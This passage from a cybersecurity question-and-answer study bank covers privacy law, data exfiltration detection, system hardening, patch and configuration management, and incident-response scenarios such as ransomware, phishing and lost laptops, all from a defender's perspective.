What is the California Consumer Privacy Act (CCPA)?

ANSWER

CCPA is a California privacy law giving consumers rights over their personal data. Rights: (1) Know what data is collected; (2) Delete personal data; (3) Opt-out of data sale; (4) Non-discrimination for exercising rights. Applies to: businesses with >\$25M revenue, or those handling 100,000+ consumers' data, or 50%+ revenue from data sales. Similar to GDPR but focused on sale of data rather than processing. Amended by CPRA (2023) adding right to correct data.

Q277 QUESTION

What is data exfiltration?

ANSWER

Data exfiltration is unauthorized data transfer out of an organization. Methods: (1) Email to personal account; (2) Upload to cloud storage (Dropbox, Google Drive); (3) USB drive; (4) DNS tunneling — encode data in DNS queries; (5) Steganography — hide data in images; (6) HTTPS to attacker server — blends with normal traffic. Detection: DLP, CASB, UEBA, network monitoring for large unusual transfers. Prevention: DLP policies, USB restrictions, cloud app controls.

18 Hardening & Configuration Management

11 Qs

Q278 QUESTION

What is system hardening?

ANSWER

System hardening reduces the attack surface by removing unnecessary components and securing configurations. Steps: (1) Remove unnecessary software and services; (2) Disable unused accounts; (3) Apply security patches; (4) Configure host-based firewall; (5) Enable logging; (6) Set strong password policies; (7) Apply CIS Benchmarks or DISA STIGs. Example: A new Windows server hardened by disabling SMBv1, enabling Windows Firewall, removing IIS (not needed), and enabling audit logging.

Q279 QUESTION

What is CIS Benchmarks?

ANSWER

CIS (Center for Internet Security) Benchmarks are configuration best practices for secure system setup. Example: CIS Windows Server 2022 Benchmark Level 1 includes 250+ controls: disable SMBv1, enable BitLocker, set minimum password length to 14, enable audit logon events, disable Guest account. Free to download. Automated compliance checking via CIS-CAT Pro or configuration management tools.

Q280 QUESTION

What is configuration management?

ANSWER

Configuration management tracks and controls changes to system configurations. Tools: Ansible, Puppet, Chef, SCCM. Benefits: (1) Consistent baselines — all servers configured identically; (2) Drift detection — alert when config changes from baseline; (3) Automated remediation — push corrected config; (4) Audit trail — who changed what when. Example: Ansible playbook ensures all Linux servers have SSH root login disabled and password authentication off.

Q281 QUESTION

What is a security baseline?

ANSWER

A security baseline is the minimum security configuration required for a system type. Example: Web server baseline: TLS 1.2+ only (disable TLS 1.0/1.1), HSTS header, no directory listing, WAF enabled, patches within 7 days. Baseline deviations require documented exceptions with compensating controls and risk acceptance. Automated scanning (Nessus, CIS-CAT) checks baseline compliance.

Q282 QUESTION

What is group policy in Windows environments?

ANSWER

Group Policy Objects (GPOs) centrally manage Windows configuration. Security-relevant GPOs: (1) Password policy — min length, complexity, history; (2) Account lockout — 5 failures, 30-min lockout; (3) Audit policy — log logon events, privilege use; (4) Software restriction — application whitelisting; (5) BitLocker — enforce disk encryption; (6) Windows Firewall — enable, default block inbound. Applied via domain at OU level.

Q283 QUESTION

What is disabling unnecessary services?

ANSWER

Unnecessary services increase attack surface. Example: A web server shouldn't run: FTP server, Print Spooler, Remote Registry, Telnet, SNMP (unless needed). Windows: `sc config start=disabled`. Linux: `systemctl disable`. Check with: `netstat -tln` (listening services). After each service removal, verify application functionality. Fewer services = smaller attack surface = fewer vulnerabilities.

Q284 QUESTION

What is a vulnerability scanner vs compliance scanner?

ANSWER

Vulnerability scanner (Nessus, Qualys): identifies unpatched CVEs, missing security configurations, exposed services. Compliance scanner (CIS-CAT, SCAP): checks configurations against benchmarks (CIS, STIG, PCI DSS). Example: Nessus finds CVE-2023-XXXX (Apache vulnerability). CIS-CAT finds 'Password minimum length is 8, should be 14' (configuration gap). Both are needed — vulnerabilities AND misconfigurations create risk.

Q285 QUESTION

What is a change management process in security?

ANSWER

Change management controls modifications to production systems. Steps: (1) Change Request — submit proposed change with risk assessment; (2) Change Advisory Board (CAB) review; (3) Approval; (4) Testing in staging; (5) Scheduled maintenance window; (6) Implementation; (7) Verification; (8) Documentation. Prevents: unauthorized changes that introduce vulnerabilities, accidental misconfiguration, untested patches causing outages. Emergency changes have expedited process but still require post-hoc documentation.

Q286 QUESTION

What is patch management and prioritization?

ANSWER

Patch management systematically tests and deploys security updates. Prioritization: CVSS 9.0-10.0 (Critical) ▢ patch within 24-72 hours; CVSS 7.0-8.9 (High) ▢ 7 days; CVSS 4.0-6.9 (Medium) ▢ 30 days; CVSS 0.1-3.9 (Low) ▢ 90 days. Also consider: CISA KEV catalog (known exploited vulnerabilities — patch immediately regardless of CVSS), exposure (internet-facing vs internal), and compensating controls availability.

Q287 QUESTION

What is application control/whitelisting?

ANSWER

Application control only allows approved executables to run. Tools: (1) AppLocker (Windows) — rules based on publisher, path, or hash; (2) Windows Defender Application Control (WDAC) — kernel-level, harder to bypass; (3) SELinux/AppArmor (Linux) — mandatory access control. Example: WDAC policy allows only Microsoft-signed code and your approved business applications — ransomware attempting to run from %TEMP% is blocked before execution.

Q288 QUESTION

What is a jump server best practice?

ANSWER

Jump server (bastion host) best practices: (1) MFA required for jump server access — never password-only; (2) Restrict source IPs — only from corporate network or approved IPs; (3) No direct internet access from jump server; (4) Full session recording (SSH Replay, screen capture); (5) Limit allowed commands — ideally allow only necessary admin commands; (6) Use PAM solution — CyberArk, BeyondTrust for credential management; (7) Regular patching — jump server is a high-value target; (8) Disable clipboard copy/paste to prevent data exfiltration.

19 Scenario-Based & Mixed

12 Qs

Q289 QUESTION

A user reports their computer is slow and files have strange extensions. What do you do?

ANSWER

This indicates ransomware. Response: (1) IMMEDIATELY disconnect from network — isolate the endpoint (physical disconnect or NAC quarantine); (2) Do NOT reboot — may destroy memory evidence; (3) Notify SOC and CISO; (4) Capture memory image and forensic disk image; (5) Identify patient zero — check email and web logs; (6) Assess backup integrity; (7) Identify the ransomware strain via ransomlook.io or Coveware; (8) Check NoMoreRansom.org for free decryptors; (9) Restore from clean backups after eradication.

Q290 QUESTION

An employee clicks a phishing link. What are the next steps?

ANSWER

Phishing response: (1) Ask user to describe what happened — did they enter credentials? Did anything download? (2) Reset user's password and revoke active sessions immediately; (3) Enable MFA if not already active; (4) Isolate endpoint if malware indicators present; (5) Search email gateway for same email to other users — quarantine and delete; (6) Check auth logs for unauthorized access in the window; (7) Analyze the phishing URL/attachment in a sandbox; (8) Notify affected service providers (if credentials entered on third-party site); (9) User receives additional security training.

Q291 QUESTION

How would you respond to a data breach notification from a vendor?

ANSWER

Vendor breach response: (1) Assess impact — what data does the vendor hold? (Review data sharing agreements and DPA); (2) Determine if your data was in the breach; (3) Request breach details — what was accessed, how, when discovered, what's been done; (4) Check regulatory notification obligations (GDPR: 72 hours to notify supervisory authority); (5) Notify customers if their data was exposed; (6) Revoke or rotate any shared credentials/API keys; (7) Assess whether vendor can continue operating; (8) Review vendor risk assessment process to prevent recurrence.

Q292 QUESTION

You notice an employee accessing files they don't normally access at unusual hours. What is this?

ANSWER

This is an insider threat indicator. The behavior matches UEBA anomaly patterns. Response: (1) Do NOT alert the employee — covert investigation first; (2) Enable enhanced audit logging on the employee's account; (3) Capture accessed files — determine sensitivity (trade secrets, customer data, competitor-relevant data?); (4) HR and Legal must be involved before any action; (5) Check departure indicators — resignation letter submitted? Job searches on work systems? USB usage? (6) If data exfiltration confirmed: preserve evidence, work with HR/Legal on next steps, potentially involve law enforcement; (7) Review DLP alerts for past 90 days.

Q293 QUESTION

A penetration tester reports a critical SQL injection vulnerability. What is your immediate response?

ANSWER

Critical vulnerability response: (1) Assess exploitability — is it currently exploited? Check WAF logs for injection patterns; (2) Implement immediate compensating control — update WAF rules to block SQL injection attempts; (3) Notify development team and management immediately; (4) Schedule emergency patch — implement parameterized queries (not just input sanitization); (5) Check if the vulnerability was previously exploited — review database logs for anomalous queries, check for unauthorized data access; (6) Verify fix in staging environment; (7) Deploy and verify in production; (8) Rescan to confirm remediation; (9) Conduct root cause analysis — how was this introduced?

Q294 QUESTION

How do you implement a zero trust architecture in an existing organization?

ANSWER

Zero Trust implementation steps: (1) Identify and classify data, users, devices, and applications; (2) Define the protect surface (critical data and systems); (3) Map transaction flows – how does data move? (4) Architect a Zero Trust environment: (a) Deploy identity-aware proxy for application access, (b) Implement MFA everywhere, (c) Deploy EDR on all endpoints, (d) Enable micro-segmentation; (5) Create Zero Trust policies; (6) Monitor and maintain – continuous validation. This is a journey, not a project – start with the most critical assets.

Q295 QUESTION

An IDS alert fires for a port scan from an internal IP. What do you investigate?

ANSWER

Internal port scan investigation: (1) Identify the source IP/device – is it an authorized scanner (Nessus, penetration tester)? Check change management schedule; (2) If unauthorized: what systems were scanned? What ports were probed? (3) Correlate with other alerts from the same source – preceded by phishing email? Lateral movement from another system? (4) Check if the device is part of a known vulnerability management program; (5) If malicious: isolate device, preserve evidence, escalate to incident response; (6) Verify no exploitation occurred following the reconnaissance.

Q296 QUESTION

How do you build a security awareness training program?

ANSWER

Program components: (1) Annual formal training – HIPAA/PCI requirements, company policies, phishing recognition; (2) Monthly phishing simulations – send fake phishing emails, track click rate and credential submission; (3) Immediate training for failures – users who click get short remedial training immediately; (4) Role-based content – HR gets data privacy focus, IT gets technical security, executives get BEC awareness; (5) Metrics – track phishing click rate (target: <5%), training completion rate (target: 100%); (6) Gamification – leaderboards, completion rewards; (7) Just-in-time tips – Slack/email security reminders. Measure ROI by tracking incident reduction.

Q297 QUESTION

A new employee starts. Walk through the secure onboarding process.

ANSWER

Secure onboarding: (1) Background check and reference verification before start; (2) Least privilege account creation – access only to systems required for role; (3) Signed AUP (Acceptable Use Policy) and confidentiality agreement; (4) Security awareness training on day 1; (5) MFA enrollment – authenticator app, backup codes; (6) Laptop provisioning – encrypted, MDM enrolled, EDR installed, corporate apps only; (7) Temporary password must be changed on first login; (8) Manager approves access requests; (9) Periodic access reviews – remove role-inappropriate permissions; (10) Offboarding procedure exists for day employee departs.

Q298 QUESTION

Your company wants to migrate to the cloud. What security considerations apply?

ANSWER

Cloud migration security: (1) Data classification – determine what can go to cloud, what must stay on-premises (regulated data, classified); (2) Vendor assessment – SOC 2, ISO 27001, cloud security certifications; (3) Shared responsibility matrix – document what you vs. vendor is responsible for; (4) IAM design – MFA, least privilege, service roles not access keys; (5) Network design – VPC architecture, security groups, NACLs; (6) Encryption – at rest and in transit, BYOK if required; (7) Logging – CloudTrail/Azure Monitor from day one; (8) CSPM deployment – continuous compliance monitoring; (9) Data residency compliance – GDPR, local data laws; (10) Disaster recovery – test RTO/RPO in cloud environment.

Q299 QUESTION

How do you handle a lost or stolen laptop?

ANSWER

Lost/stolen laptop response: (1) User reports immediately – time is critical; (2) Confirm full disk encryption status (BitLocker) – if encrypted, low risk from data exposure; (3) Remote wipe via MDM (Intune, Jamf) if not recovered within hours; (4) Revoke active certificates and VPN credentials associated with the device; (5) Change user's passwords immediately; (6) Review what data was on the device – any unencrypted sensitive files? (7) File police report for insurance; (8) GDPR/HIPAA breach assessment – encrypted device = typically not a reportable breach.

Q300 QUESTION

How do you evaluate a new security tool?

ANSWER

Security tool evaluation: (1) Define requirements – what problem are you solving? Gap analysis; (2) RFP process – request demos and trials from top vendors; (3) Proof of Concept – test in lab with real data and use cases; (4) Evaluation criteria: detection efficacy, false positive rate, integration with existing stack, scalability, vendor support, licensing model; (5) Reference customers – talk to similar organizations using the tool; (6) Security review of the tool itself – does it create new risk? (7) Total Cost of Ownership – licensing, implementation, training, maintenance.